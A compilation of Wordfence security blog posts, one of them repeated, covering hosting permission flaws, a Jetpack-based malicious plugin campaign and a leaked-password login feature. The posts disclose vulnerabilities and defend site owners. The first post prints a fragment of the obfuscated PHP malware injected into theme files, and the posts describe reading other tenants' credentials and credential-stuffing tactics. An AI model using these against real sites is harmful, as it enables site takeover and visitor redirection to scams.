Service Vulnerability: Four Popular Hosting Companies Fix NFS Permissions and Information Disclosure Problems

Last year, we published two disclosures of service vulnerabilities on hosting platforms. The first one included a trio of brands: Hostway, Momentous, and Paragon Group. The second was for MelbourneIT. In all cases, we were happy to report that the affected companies took our disclosures seriously and moved quickly to fix the problems.

Today we’re announcing a similar disclosure for several brands owned by Endurance International Group, including iPage, FatCow, PowWeb, and NetFirms. A pair of vulnerabilities on these platforms allowed attackers to tamper with customers’ databases directly, without actually accessing their websites. Following our Vulnerability Disclosure Policy, we privately disclosed these problems to the Endurance team. Their response was immediate and exemplary: they communicated with us in order to understand the problems, activated their incident response team to conduct triage, implemented hotfixes within days, and implemented full fixes soon after. Their actions showed solid commitment to their customers’ security.

Attacks and Investigation

Our Security Services Team noticed a recent trend in customers whose sites were hosted on the affected platforms. An administrator account suddenly appeared in the sites, and attackers logged into that account and added malware to the sites using the WordPress theme editor. The account had the same unusual username (“badminton”) in each case. The malware was obfuscated, but performed the same function on each affected site, hijacking site traffic from search engines and redirecting visitors to spam sites.

The platforms do make site access logs available to site owners, but the logs didn’t show any unusual activity on the days of the attacks. We found no malware other than what the attackers added in the theme files, no vulnerable themes or plugins, and generally nothing in common across all the affected sites except that they were on the same set of hosting services.

As in the service vulnerabilities we published last year, it appeared that the attackers had a way to steal database credentials for our customers’ sites, and then interact with the database directly in order to create their rogue administrator accounts. We started to investigate whether that would be possible on the platforms in question, and eventually we discovered two vulnerabilities which allowed it to happen.

The balance of this article is most appropriate for a technical audience. If you are a less technical reader you may want to skip down to the “What You Need To Do” section below.

File and Directory Information Exposure Vulnerability

After compromising a site, it is common for attackers to explore filesystems on the server in order to search for other vulnerabilities. On the affected servers, we discovered that the /opt/users directory contained subdirectories revealing the names of the user accounts for every website on the platform.

For example, a website “example.com” on FatCow might run under the username moo.examplecom . There would be a corresponding directory for it at /opt/users/moo/e/x/moo.examplecom . Permissions on the /opt directory were lax enough that all the subdirectories could be listed by any user. So with a bit of scripting, it was possible to harvest the usernames for every website using FatCow shared hosting (and likewise the other affected brands). After our disclosure, permissions were fixed on /opt/users so that the contents can no longer be listed.

Insufficient Permissions Vulnerability

Four conditions existed that contributed to this vulnerability:

  1. Customer files are all stored on a shared file system.
  2. The full path to a user’s web root directory was public or could be guessed.
  3. All directories in the path to a customer’s site root directory were either world-traversable (the execute bit for ‘all users’ is 1) or group-traversable (the execute bit for ‘group’ is 1), and the sensitive files were world-readable (the read bit for ‘all users’ is 1) or group-readable (the read bit for ‘group’ is 1).
  4. An attacker could cause a program running in the group www to read files in arbitrary locations.

On the affected hosting platforms, all users’ files reside under a shared file system mounted at the directory /hermes . This satisfies the first condition of the Insufficient Permissions vulnerability.

The names of subdirectories in the full path to a site root directory follow a pattern. The full path for our fictional site example.com might be: /hermes/walnaweb15a/b1234/moo.examplecom/ .

Ownership and permissions on the file system follow a specific structure for each of the directories in the full path:

/hermes – root:root 0755 – since it is world-readable, its contents can be listed

/hermes/walnaweb15a – root:root 0711 – contents cannot be listed except by root, but can be guessed

/hermes/walnaweb15a/b1234 – root:root 0711 –  contents cannot be listed except by root, but can be guessed

/hermes/walnaweb15a/b1234/moo.examplecom – moo.examplecom:www 0750 – contents can be listed by the owner or by any user belonging to the group “www”

The contents of directories like /hermes/walnaweb15a appear to follow a simple pattern – the letter “b” followed by one or more digits. Attackers would have noticed this by viewing the working directory of compromised sites, or even by searching Google for “/hermes/walnaweb” or similar directory names to view accidental full path disclosures. A script can easily find every subdirectory by checking for the existence of /hermes/walnaweb15a/b1, /hermes/walnaweb15a/b2, etc.

It is trickier but still possible to find the contents of the b* directories – this is where the File and Directory Information Exposure vulnerability would be used. Attackers could use scripting to iterate over each username and check for its existence in each b* directory. It’s inefficient, but the attacker could gradually build a large list of full paths to site root directories, satisfying the second condition of the Insufficient Permissions vulnerability.

As outlined above, the default permissions on directories and files on the affected platforms ensure that a program running in the group www can traverse into any user’s directory and read files in it, satisfying the third condition.

PHP scripts in any given user’s site run as that user and as the group cgiuser. As such, they don’t have permission to access other users’ files. However, the File Manager in the hosting control panel runs in the group www . Its operations seem to be restricted to a user’s own site root directory, but it can be manipulated to copy files from any location in the entire file system. So if an attacker crafts requests that point it to other users’ sensitive files, it will have sufficient privileges to copy those files into a directory under the attacker’s control.

After our disclosure, the flaws in the File Manager were patched, the platform administrators made architectural adjustments to address the permissions problems at a deeper level.

Remediation

Before the vulnerabilities were fixed, the only workaround for site owners was to set permissions on any sensitive file to 0600. This was not ideal, as there are a number of ways the permissions could be reset as a side effect of scripts running on the website or server. Thankfully, the Endurance team worked very quickly to fix the problems. Our disclosure was on May 7. They replied after hours acknowledging the report, and worked with us during the following two weeks. Their hotfixes were in place by May 10, and permanent fixes finished by May 15.

What You Need To Do

If you use shared hosting on any of the brands we mentioned, use Wordfence to check your site for issues. If your site was exploited before the fixes, the attackers may have added malware which could still be present. Our customers had obfuscated code added at the top of the active theme’s header.php file, similar to this:

<?php ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["dd\x70\x68z\x67\x64gx"]="sl\x77k\x77i";${"\x47\x4cO\x42\x41L\x53"}["c\x7a\x66\x6dubkdo\x6a\x78"]="\x6c\x6f\x63\x61t\x69\x6fn";${"\x47\x4c\x4fB\x41LS"}["\x67\x64\x64e\x74\x62p\x75f\x65i"]="\x68t\x6d\x6c";${"\x47\x4cOB\x41\x4cS"}["\x77i\x64\x68\x6bv\x6da"]="\x73t\x72\x66";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x66s\x75\x71\x79\x6evw"]="b\x6f\x74";${"\x47\x4cOBAL\x53"}["w\x6c\x79\x63\x61\x76\x62\x71\x68\x6f\x6c\x75"]="cac\x68\x65";${"G\x4cO\x42\x41L\x53"}["ry\x68\x72ku\x6b"]="\x73\x63h\x65\x6d\x65";${"\x47\x4c\x4f\x42\x41L\x53"}["\x74\x6a\x6bc\x64e\x65\x69w"]="\x73l\x77k\x77i\x32";${"G\x4cOBA\x4cS"}["\x79\x65\x64\x73\x67\x6ah\x69\x73\x67"]="\x73\x6c\x74l\x65\x69l\x73";

You should also check your list of user accounts and look for any rogue administrators. If your site has any of these issues, we recommend using our site cleaning service to fix them.

Conclusion

With the popularity of WordPress today, the security of the WordPress community at large is critically important. We are pleased to see that our  approach to handling service vulnerabilities is working to support that need, and bringing about an improved overall security posture for the community.

Our Security Services Team continues to analyze hundreds of hacked websites each month, so we expect to find more of these in the future. We will continue to provide updates here on the blog.

Finally, a huge thank you to Matt Barry and Sean Murphy from our team for helping with the vulnerability research.

The post Service Vulnerability: Four Popular Hosting Companies Fix NFS Permissions and Information Disclosure Problems appeared first on Wordfence.

Read More

Hijacked WordPress.com Accounts Being Used To Infect Sites

Our customer service team raised the alarm about a problem several users have had in the last few days. They all reported a malicious plugin named “pluginsamonsters” suddenly installed on their site. They learned about the problem thanks to an alert from Wordfence.

This post is Copyright 2018 Defiant, Inc. and was published on the wordfence.com official blog. Republication of this post without permission is prohibited. You can find this post at: https://www.wordfence.com/blog/2018/05/wordpress-com-jetpack-infection/

Our team has investigated these compromises and in this post we will describe how the attackers are gaining access and what you can do to prevent it from happening to you.

High Level Summary

In summary what is happening is the following:

  1. An attacker will sign in to a WordPress.com account using compromised credentials.
  2. If that account on WordPress.com is set up to manage any WordPress.org WordPress installations via the Jetpack plugin, the attacker will use that access to install a malicious “pluginsamonsters” plugin on the target site.
  3. The plugin gives the attacker full control of the target website and the site is now compromised. The plugin is visible on the WordPress.com dashboard but is invisible on the target WordPress site’s plugin list when active. (It is visible when deactivated)

For this attack to occur, the following conditions need to be met:

  1. The site owner must have Jetpack installed.
  2. Jetpack must be configured to allow the site to be managed from a WordPress.com account.
  3. The WordPress.com account must have compromised credentials. This usually happens when you have reused an email/password combination on another site or service that has been compromised.
  4. The WordPress.com account must not have two factor authentication enabled.

Weak WordPress.com Credentials And Jetpack as Entry Vector

Jetpack is a popular WordPress plugin with a range of features, including the ability to integrate with WordPress.com. In order to use Jetpack, you have to create an account with WordPress.com. It allows you to manage multiple WordPress sites from one central console at WordPress.com. One of the features available is to manage plugins on your sites, or even install new plugins.

Just as in WordPress installed on your server, you’re able to either select a plugin from the WordPress public repository, or upload your own plugin in a zip file:

When Jetpack is connected to your site, it has the same privileges as the site administrator account. So if you choose to upload a plugin, whatever you upload will be passed along and installed on your site, no questions asked.

As we investigated the sites with “pluginsamonsters” installed, we found signs that this feature is being abused. For example, we checked site access logs at the time the plugin was created (per the timestamp on its directory), and found entries like this:

192.0.89.53 - - [22/May/2018:02:38:06 +0000]
"POST /wp-admin/admin-ajax.php?token=[redacted]&timestamp=1526956686&nonce=uFn5aA
OgH4&body-hash=gwB8z8pKX%2F6xzYdAbNzYTNeD8cc%3D&signature=gxiGNsGi2Z9Ba3SwaNUn7Dq
yBXc%3D HTTP/1.0" 200 141 "-" "Jetpack by WordPress.com"

The source IP address is part of Automattic’s network, the authors of Jetpack. We also worked to identify plugins that all the affected sites had in common, and Jetpack was the only one. Once our lead developer pointed out that Jetpack allows for remote installation of a plugin, the pieces fell into place.

We connected Jetpack on some of our test sites and tried to upload a malicious plugin. It worked, and our access logs showed the same activity.

Pluginsamonsters malware

Our next step was to analyze the malware and find out what it’s doing. This didn’t take long – it’s fairly simple, and as we mentioned, it’s a variation on malware we’ve seen before. Much like its relatives, it hides itself from the list of plugins in a site’s WordPress dashboard. To be clear, the plugin is still visible on the management console of WordPress.com, but is hidden on the admin interface of the victim website when it is activated. The plugin is visible on the victim website when it is deactivated.

The malicious plugin maintains a “.txt” file that can contain code to be executed on the WordPress loop_start action. It also includes a separate PHP script which is a simple file upload tool.

We were able to observe the hackers’ use of this tool. They’re using it for two purposes. First, they’re adding more backdoors to infected sites in order to maintain access. These backdoors are also simple file upload tools, and they’re being created with innocuous names like wpcfgdata.php, wpplugdata.php, etc. Second, they’re altering the root index.php file of the infected sites. This is the real reason for the campaign, the part that’s making profit for the hackers.

The malicious code added to index.php is obfuscated, but fairly simple. It reaches out to a malicious domain – in all our samples, it was roi777[dot]com. From that domain, it gets another malicious domain – we observed dozens of these, all in the “.tk” TLD. It uses Javascript to redirect visitors to a page on the second malicious domain, and sets a cookie so that the redirect only happens once every 12 hours.

The following is a screenshot showing the obfuscated code added to index.php.

In our tests so far, the malicious pages to which visitors were directed contained scareware, complete with text-to-speech, popups, and mouse hijacking:

But there may be other content served based on the device, source IP address, and so on. On infected sites, the “.tk” domains are refreshed once every minute.

In some cases, the attackers are also editing core Javascript files, infecting them with code to produce popups when visitors click anything in the site. They seem to be targeting jQuery files located in /wp-includes/js/jquery.

The first instance of this attack we observed was on May 16. Starting yesterday, May 21, the attackers started installing the same malicious plugin under a different name, “wpsmilepack.”

How Attackers Are Getting In

We observed these same attackers using “credential stuffing” attacks in February. They were taking stolen usernames and passwords from data breaches and trying to use them to log in to WordPress sites directly, even going so far as to check domain registration records for sites registered to a compromised email address. In response, we updated Wordfence to prevent logins using compromised passwords.

These attackers are resourceful, and it looks like the Jetpack angle is just the latest they’ve found to try. It further demonstrates how dangerous it can be to reuse passwords across services.

What You Can Do

To protect yourself from this attack, we recommend you take the following actions:

Taking these steps will lock down your WordPress.com account and ensure that attackers can’t use it as an entry vector into the sites that you manage.

Centralized Management Services As A Target

WordPress.com gives you the ability to remotely manage multiple sites via the Jetpack plugin. This kind of functionality is provided by several other services. This can be a powerful enabler for agencies and developers who manage large numbers of WordPress websites. Let’s face it, updating hundreds of websites is not fun and anything that makes it easier is a valuable service.

It is important to realize that, while remote management tools are powerful enablers, they also have administrative level access to the sites that they manage. As a user, it is your responsibility to ensure that your user account uses a strong and unique password along with two factor authentication. If not, you risk mass compromise of all sites managed by a service like this.

These compromises we are reporting today are not the result of a vulnerability. They are the result of site owners reusing credentials. As the old saying goes: “There are no victims. Only volunteers.” In this case if you reuse credentials on a management level account and don’t have two factor authentication enabled, you are volunteering to have a bad week.

Wordfence Free Detects This Malware Variant

If you have been hit by this attack, our site cleaning team can resolve the compromised site quickly and effectively. You can find out more about Wordfence site cleanings on this page.

In all cases, customers with compromised sites discovered they were hacked because the Wordfence malware scan picked up on the malicious code the attacker had installed. Because this is a variant of older malware we have been tracking, both our free and Premium scans can detect the malware the attacker is installing. So to protect yourself against this, simply install the free version of Wordfence and it will alert you if a variant of this malicious plugin is detected.

We have been recommending Troy Hunt’s “HaveIBeenPwned” service for some time now. I had the pleasure of meeting with Troy a few weeks ago in Redmond. Once again we are recommending you use HaveIBeenPwned to check if your email address has been involved in previous data breaches. If it has, ensure that you change your password on all services you use. Use a strong and unique password on each service and use a password manager like 1Password to manage your strong unique passwords.

Wordfence has integrated the HaveIBeenPwned database to ensure that you don’t use breached passwords for your WordPress accounts. We don’t have control over the user account that you use for WordPress.com so you will need to manually ensure that you are not using a breached password for that account.

As always we very much appreciate your comments and questions. Please post below and I’ll be around to answer them.

Written by Brad Haas and Mark Maunder with research by Åsa Roseberg and James Yokobosky. Technical editing by Matt Barry. Final editing by Dan Moen. Special thanks to Åsa, James, Matt and Brad for the primary research that resulted in this publication.  

PS: No businessmen were harmed during the production of the stock photo used in this blog post.

The post Hijacked WordPress.com Accounts Being Used To Infect Sites appeared first on Wordfence.

Read More

Hijacked WordPress.com Accounts Being Used To Infect Sites

Our customer service team raised the alarm about a problem several users have had in the last few days. They all reported a malicious plugin named “pluginsamonsters” suddenly installed on their site. They learned about the problem thanks to an alert from Wordfence.

This post is Copyright 2018 Defiant, Inc. and was published on the wordfence.com official blog. Republication of this post without permission is prohibited. You can find this post at: https://www.wordfence.com/blog/2018/05/wordpress-com-jetpack-infection/

Our team has investigated these compromises and in this post we will describe how the attackers are gaining access and what you can do to prevent it from happening to you.

High Level Summary

In summary what is happening is the following:

  1. An attacker will sign in to a WordPress.com account using compromised credentials.
  2. If that account on WordPress.com is set up to manage any WordPress.org WordPress installations via the Jetpack plugin, the attacker will use that access to install a malicious “pluginsamonsters” plugin on the target site.
  3. The plugin gives the attacker full control of the target website and the site is now compromised. The plugin is visible on the WordPress.com dashboard but is invisible on the target WordPress site’s plugin list when active. (It is visible when deactivated)

For this attack to occur, the following conditions need to be met:

  1. The site owner must have Jetpack installed.
  2. Jetpack must be configured to allow the site to be managed from a WordPress.com account.
  3. The WordPress.com account must have compromised credentials. This usually happens when you have reused an email/password combination on another site or service that has been compromised.
  4. The WordPress.com account must not have two factor authentication enabled.

Weak WordPress.com Credentials And Jetpack as Entry Vector

Jetpack is a popular WordPress plugin with a range of features, including the ability to integrate with WordPress.com. In order to use Jetpack, you have to create an account with WordPress.com. It allows you to manage multiple WordPress sites from one central console at WordPress.com. One of the features available is to manage plugins on your sites, or even install new plugins.

Just as in WordPress installed on your server, you’re able to either select a plugin from the WordPress public repository, or upload your own plugin in a zip file:

When Jetpack is connected to your site, it has the same privileges as the site administrator account. So if you choose to upload a plugin, whatever you upload will be passed along and installed on your site, no questions asked.

As we investigated the sites with “pluginsamonsters” installed, we found signs that this feature is being abused. For example, we checked site access logs at the time the plugin was created (per the timestamp on its directory), and found entries like this:

192.0.89.53 - - [22/May/2018:02:38:06 +0000]
"POST /wp-admin/admin-ajax.php?token=[redacted]&timestamp=1526956686&nonce=uFn5aA
OgH4&body-hash=gwB8z8pKX%2F6xzYdAbNzYTNeD8cc%3D&signature=gxiGNsGi2Z9Ba3SwaNUn7Dq
yBXc%3D HTTP/1.0" 200 141 "-" "Jetpack by WordPress.com"

The source IP address is part of Automattic’s network, the authors of Jetpack. We also worked to identify plugins that all the affected sites had in common, and Jetpack was the only one. Once our lead developer pointed out that Jetpack allows for remote installation of a plugin, the pieces fell into place.

We connected Jetpack on some of our test sites and tried to upload a malicious plugin. It worked, and our access logs showed the same activity.

Pluginsamonsters malware

Our next step was to analyze the malware and find out what it’s doing. This didn’t take long – it’s fairly simple, and as we mentioned, it’s a variation on malware we’ve seen before. Much like its relatives, it hides itself from the list of plugins in a site’s WordPress dashboard. To be clear, the plugin is still visible on the management console of WordPress.com, but is hidden on the admin interface of the victim website when it is activated. The plugin is visible on the victim website when it is deactivated.

The malicious plugin maintains a “.txt” file that can contain code to be executed on the WordPress loop_start action. It also includes a separate PHP script which is a simple file upload tool.

We were able to observe the hackers’ use of this tool. They’re using it for two purposes. First, they’re adding more backdoors to infected sites in order to maintain access. These backdoors are also simple file upload tools, and they’re being created with innocuous names like wpcfgdata.php, wpplugdata.php, etc. Second, they’re altering the root index.php file of the infected sites. This is the real reason for the campaign, the part that’s making profit for the hackers.

The malicious code added to index.php is obfuscated, but fairly simple. It reaches out to a malicious domain – in all our samples, it was roi777[dot]com. From that domain, it gets another malicious domain – we observed dozens of these, all in the “.tk” TLD. It uses Javascript to redirect visitors to a page on the second malicious domain, and sets a cookie so that the redirect only happens once every 12 hours.

The following is a screenshot showing the obfuscated code added to index.php.

In our tests so far, the malicious pages to which visitors were directed contained scareware, complete with text-to-speech, popups, and mouse hijacking:

But there may be other content served based on the device, source IP address, and so on. On infected sites, the “.tk” domains are refreshed once every minute.

In some cases, the attackers are also editing core Javascript files, infecting them with code to produce popups when visitors click anything in the site. They seem to be targeting jQuery files located in /wp-includes/js/jquery.

The first instance of this attack we observed was on May 16. Starting yesterday, May 21, the attackers started installing the same malicious plugin under a different name, “wpsmilepack.”

How Attackers Are Getting In

We observed these same attackers using “credential stuffing” attacks in February. They were taking stolen usernames and passwords from data breaches and trying to use them to log in to WordPress sites directly, even going so far as to check domain registration records for sites registered to a compromised email address. In response, we updated Wordfence to prevent logins using compromised passwords.

These attackers are resourceful, and it looks like the Jetpack angle is just the latest they’ve found to try. It further demonstrates how dangerous it can be to reuse passwords across services.

What You Can Do

To protect yourself from this attack, we recommend you take the following actions:

Taking these steps will lock down your WordPress.com account and ensure that attackers can’t use it as an entry vector into the sites that you manage.

Centralized Management Services As A Target

WordPress.com gives you the ability to remotely manage multiple sites via the Jetpack plugin. This kind of functionality is provided by several other services. This can be a powerful enabler for agencies and developers who manage large numbers of WordPress websites. Let’s face it, updating hundreds of websites is not fun and anything that makes it easier is a valuable service.

It is important to realize that, while remote management tools are powerful enablers, they also have administrative level access to the sites that they manage. As a user, it is your responsibility to ensure that your user account uses a strong and unique password along with two factor authentication. If not, you risk mass compromise of all sites managed by a service like this.

These compromises we are reporting today are not the result of a vulnerability. They are the result of site owners reusing credentials. As the old saying goes: “There are no victims. Only volunteers.” In this case if you reuse credentials on a management level account and don’t have two factor authentication enabled, you are volunteering to have a bad week.

Wordfence Free Detects This Malware Variant

If you have been hit by this attack, our site cleaning team can resolve the compromised site quickly and effectively. You can find out more about Wordfence site cleanings on this page.

In all cases, customers with compromised sites discovered they were hacked because the Wordfence malware scan picked up on the malicious code the attacker had installed. Because this is a variant of older malware we have been tracking, both our free and Premium scans can detect the malware the attacker is installing. So to protect yourself against this, simply install the free version of Wordfence and it will alert you if a variant of this malicious plugin is detected.

We have been recommending Troy Hunt’s “HaveIBeenPwned” service for some time now. I had the pleasure of meeting with Troy a few weeks ago in Redmond. Once again we are recommending you use HaveIBeenPwned to check if your email address has been involved in previous data breaches. If it has, ensure that you change your password on all services you use. Use a strong and unique password on each service and use a password manager like 1Password to manage your strong unique passwords.

Wordfence has integrated the HaveIBeenPwned database to ensure that you don’t use breached passwords for your WordPress accounts. We don’t have control over the user account that you use for WordPress.com so you will need to manually ensure that you are not using a breached password for that account.

As always we very much appreciate your comments and questions. Please post below and I’ll be around to answer them.

Written by Brad Haas and Mark Maunder with research by Åsa Roseberg and James Yokobosky. Technical editing by Matt Barry. Final editing by Dan Moen. Special thanks to Åsa, James, Matt and Brad for the primary research that resulted in this publication.  

PS: No businessmen were harmed during the production of the stock photo used in this blog post.

The post Hijacked WordPress.com Accounts Being Used To Infect Sites appeared first on Wordfence.

Read More

Service Vulnerability: MelbourneIT Fixes NFS Permissions Problem

In February, we wrote about a vulnerability on three shared hosting services.  Following our Vulnerability Disclosure Policy, we had alerted them about vulnerable permissions on shared drives on their servers. They fixed the problem, making things safer both for their customers and for their customers’ site visitors.

During the past month we noticed the same kind of attacks happening on websites hosted with MelbourneIT (and NetRegistry.com.au, which they own). We were able to verify the same vulnerability on their platform, and we disclosed it to them. We’re happy to say they moved quickly to fix it as well.

A Note on Disclosure and Responsible Vendors

It’s important to note that vulnerabilities are a fact of life in any service, system or software. Finding, confidentially disclosing and fixing vulnerabilities is how our industry works with the information security community to improve the products and services we all use and to keep the public safe. The process that we use is well-established, and widely used by organizations that include Google’s Project Zero.

When we find vulnerabilities and vendors are responsive, you benefit as a customer of those vendors and can know that your vendor reacts quickly to fix security problems and will likely do so long term, keeping you and your data safe.

A disclosure like this is not an opportunity for “vendor shaming” or a witch hunt. All developers who write enough code will write vulnerabilities at some point in their career. Instead, it’s a moment to celebrate responsive vendors and a well-handled incident that left customers and the online community safer.

At Wordfence, we are excited when a vendor works closely with us to fix a vulnerability, and responsive vendors garner the greatest respect from our engineering team.

Vulnerability Details

Customer files on MelbourneIT cloud hosting are housed in a couple of different shared drives, and the directory names follow a set pattern. For example:
/clientdata/apache-www/e/x/example.com.au/www

As in the platforms we wrote about in February, all of the folders down to /clientdata/apache-www/e/x belonged to the root account, and did not permit directory listing to other users. But they were all world-traversable, and the directories containing the site files were world-readable (along with the files themselves). So any user who knew the full path to a site root directory could list and read the files in it.

For example, a hacker could take over example.com.au. Then, using DNS tools, they could find other WordPress sites running on the same IP address. They might find otherexample.com.au and correctly guess that it was stored in /clientdata/apache-www/o/t/otherexample.com.au/www. Knowing that full path, they could read the wp-config.php file and use the credentials in it to tamper with the database of otherexample.com.au.

Remediation

As in the previous cases, there was little anyone could do to prevent exploitation. Thankfully, the team at MelbourneIT took the issue very seriously, and moved quickly to fix it. Our disclosure to their security team was on March 6. They notified us on March 14 that they were rolling out a patch, and notified us on March 19 that deployment was complete.

What You Need to Do

If you use the cloud hosting service on MelbourneIT or Netregistry.com.au, use Wordfence to check your site for issues. In particular, there may be rogue administrator accounts created, or passwords changed on existing administrator accounts. The attackers are also adding malicious scripts and cloaked spam into posts and pages. If your site has these issues, we recommend our comprehensive learning center resources to help you resolve them.

Conclusion

We are pleased with the positive impact adding service vulnerabilities to our Vulnerability Disclosure Policy is already having. The hosting companies we have worked with have been generally responsive, deploying fixes to issues that were leaving many WordPress sites vulnerable to hacking.

With the popularity of WordPress today, the security of the WordPress community at large is critically important. We are pleased to see that our new approach is working to support that need and bringing about an improved overall security posture for the community.

Our Security Services Team continues to analyze hundreds of hacked websites each month, so we expect to find more of these on an ongoing basis. We will continue to provide updates here on the blog.

Note: All product names, logos, and brands are property of their respective owners. All company, product and service names used in this website are for identification purposes only. Use of these names, logos, and brands does not imply endorsement.

The post Service Vulnerability: MelbourneIT Fixes NFS Permissions Problem appeared first on Wordfence.

Read More

New Feature Protects Against Password Leak Attacks

To better protect our users’ websites, we work with a lot of data from sources like our Security Services Team and the Wordfence network. We try to understand not just what attackers are doing, but also how and why. Our research into a recent campaign revealed an interesting method of attack, and contributed to the development of a new feature.

Password Leaks Are a Rich Source of Information for Hackers

During the last several years, hackers have compromised a wide range of organizations and harvested account details from them. The details almost always include usernames or email addresses, along with hashed versions of passwords (or even worse, plain-text passwords). These compromised accounts are often bought and sold on the dark web, but occasionally they’re also leaked publicly.

For hackers, the value of a stolen user account goes well beyond being able to log in to the compromised website. Hackers are well aware that people are unlikely to use best practices when it comes to password management. In other words, they’re likely to use weak passwords and to repeat the same passwords across multiple accounts. So the hackers try to explore every account they may be able to hijack with a given username and password.

As we’ve discussed before, hackers can do a lot with a hijacked website. We wrote that post two years ago, but all of those criminal activities are still going on today, with the new addition of cryptojacking attacks. WordPress websites are still attractive targets for hackers.

Leaked Accounts Used in Malware Campaigns

We observed a few interesting techniques hackers have been using with leaked accounts during the last several weeks. Normally, they would face several obstacles when trying to take over a WordPress website’s administrator account:

  • They don’t know the administrator username
  • They don’t know the password
  • They fail too many times to log in, so they get blocked by plugins, servers, or networks

But the leaks have helped some attackers overcome these obstacles and find valid accounts on a lot of WordPress sites. Imagine that Bob Smith runs a WordPress site at example.com. If he used bob.smith@example.com as his primary email address at a website whose accounts were leaked, his details in the leak would look something like this:

bob.smith@example.com:pony123

This yields several pieces of information for hackers to use: Bob’s email address, some likely usernames, and a password he uses (pony123). Some published leaks combined data from several other leaks, yielding two or more accounts that probably belong to the same person. If Bob used his Gmail account at another compromised site, then the leak might look like this:

bob.smith@example.com:pony123

bob@gmail.com:pony123456

Finding WordPress Sites in the Leaks

It seems that hackers are using a direct approach to find WordPress sites among the leaked accounts. In our example, they simply check example.com to see if it’s running WordPress. But they also seem to be following redirects: in a case where example.com redirects to example2.com, these login attempts were being made against example2.com even though it never appeared in the leaks.

We observed an interesting twist, though: sometimes email addresses on completely unrelated domains (like Gmail) were being used during login attempts. In this example, we observe bob@gmail.com and pony123456 being attempted on example.com. How did the hackers know to try it? It’s unlikely they actually got into the Gmail account and found emails from WordPress there; if they had, they could have simply used the “reset password” feature to take over the site. Instead, in the cases we observed, the email address was actually publicly used as a contact address in the site’s DNS registration. In other words, Bob used bob@gmail.com when he registered example.com. So the hackers may be searching DNS records for leaked email addresses to find target sites.

Getting Valid Usernames From the Leaks

The attackers behind the most recent campaign use email addresses to create a small set of usernames that are likely to be real administrator users on target sites. First they try “admin” since it’s the default username, and presumably the most common. Then they also try the full email address (like bob.smith@example.com), and then a couple of variations on the first part of the email address: one with all dots removed (bobsmith) and another with anything before the first dot (bob). Altogether, they only try to log in four times. The leaked accounts give them a much higher chance of success than brute-force attacks or guessing common passwords, while keeping the number of failures small enough that they don’t get blocked.

Leaks Being Used

We have copies of public leaks, so we’ve been able to locate the source of some of the compromised credentials used in the attacks. Many of them came from the set of 1.4 billion accounts leaked in December (which includes several previous leaks). Of the rest, every single one we checked was listed in at least one leak on HaveIBeenPwned. This demonstrates the tenacity of the attackers, and the way they can find value even in seemingly unrelated breaches.

What We’ve Done to Address This

Because of the small number of login attempts these attackers make, standard brute force login protection is not enough to block these kinds of attacks. Wordfence currently has two additional features that can have an effect in stopping this attack: Two Factor Authentication and “Immediately lock out invalid usernames.” But we decided we needed a more robust tool to deal with these kinds of attacks thoroughly.

So, we’ve introduced a new feature within Wordfence to block logins for administrators that use a known compromised password. Any administrator using a password previously seen in a breach will need to reset their password to log in. The new feature is available as of today with the release of Wordfence 7.1.0.

We’ve done this by integrating Wordfence’s login security with the database provided by Troy Hunt’s version 2 of the Pwned Passwords API. Troy has built a substantial list of 501 million compromised passwords across 270 breaches. We’d suggest you read his post describing the new features and data that have gone into this new version.

 

Privacy Improvements in Version 2 of Pwned Passwords

We’ve looked at integrating Pwned Passwords in the past, but have been reluctant to risk sending insecure data about any non-compromised passwords to a third-party service. The options that version 1 of the Pwned Passwords API provided allowed users to send either the SHA1 hash of a password (which is insecure, as far as password hashes go), or the plain text password to check if it’s been used in a breach. The other option would be to include the full password list in order to compare it to the user’s password, but that’s not feasible to include within Wordfence, given that it’s around 30GB of data total.

Version 2 of Pwned Passwords introduces a new feature to detect if a password is compromised without sending enough information about the password to be useful in case a hacker tried to reverse it. It works by sending the first 5 characters of the SHA1 hash of the password to the API. The API responds with a list of all SHA1 hashes from the full list of 501 million that start with those 5 characters. It ends up averaging around 475 hashes returned for each 5 character prefix.

To illustrate with an example:

The SHA1 hash of Bob Smith’s password “pony123” is E24F4B083C2F925CC894B2F04BAA7D83B7A5E669. We’d send the first 5 chars (E24F4) to our API:


We can then check to see if the remaining 35 characters of the hash (B083C2F925CC894B2F04BAA7D83B7A5E669) is in the list, and we can see it’s the first item in the list. The format of each item in the list is the remaining 35 characters hash suffix and the number of times this password has appeared in breaches, so we can see that Bob Smith’s password has been seen 3299 times across multiple breaches by multiple users. It’s probably a good idea that Bob Smith (and anyone else using “pony123”) update his password.

How We’ll Be Rolling Out This Feature

Since we have the number of times each password has been seen across all breaches, this allows us to gauge the severity of password reuse and risk to the site owner. Any password that’s been seen 10 or more times in previous breaches will blocked from logging in. We will gradually expand this to include all passwords in the database over the next week.

Farewell to the Password Audit

With the introduction of this new login protection, Wordfence will be removing the password audit feature. The password audit dictionary was based on password lists leaked from breaches. The functionality provided by the password audit is mostly redundant if we’re able to prevent the same compromised passwords from being used to login in the first place. This approach takes a more active role in preventing weak passwords from being used maliciously.

Recommendations

This new feature is enabled by default for administrators. To manage the settings of this feature, log in to your WordPress admin panel and navigate to: Wordfence → Firewall → Manage Brute Force Protection → Prevent the use of passwords leaked in data breaches.

  1. Ensure that you have strong passwords on all user accounts, especially admin. Wordfence provides an option to enforce strong passwords when creating/updating a user account under “Login Security Options”.
  2. Change your admin username from the default ‘admin’ to something harder to guess.
  3. Delete any unused accounts, especially admin accounts that you don’t use. This reduces your attack surface.
  4. Enable two-factor authentication on all admin accounts. Wordfence Premium provides two-factor.
  5. Verify your email address has not been part of a breach.
  6. Verify your password has not been exposed in a breach.
  7. Do not reuse a password on multiple services. That way, if your password from a data breach appears in this database, it won’t be the same as your WordPress admin password, or across multiple sites you manage. You can use a password manager like 1password to manage many passwords across services.

The post New Feature Protects Against Password Leak Attacks appeared first on Wordfence.

Read More

Service Vulnerabilities: 3 Hosting Companies Fix NFS Permissions Problem

In mid-December we updated our Vulnerability Disclosure Policy to include Service Vulnerabilities. A service vulnerability is any issue with a technology service that represents an exploitable security risk for its users. We made this update in response to a growing trend of security issues we’ve been discovering in commercial services, most often WordPress hosting providers.

Earlier this year we started to see multiple similar cases from three service providers with no immediate explanation. We love a good mystery, and solving this one led to the discovery and correction of a critical vulnerability affecting many of the companies’ customers. The companies were:

  • Hostway (and its other brands including Gate, Netnation, Domainpeople, and rebranded services for Qwest/Centurylink)
  • Momentous Corp. (includes Rebel and Internic.ca)
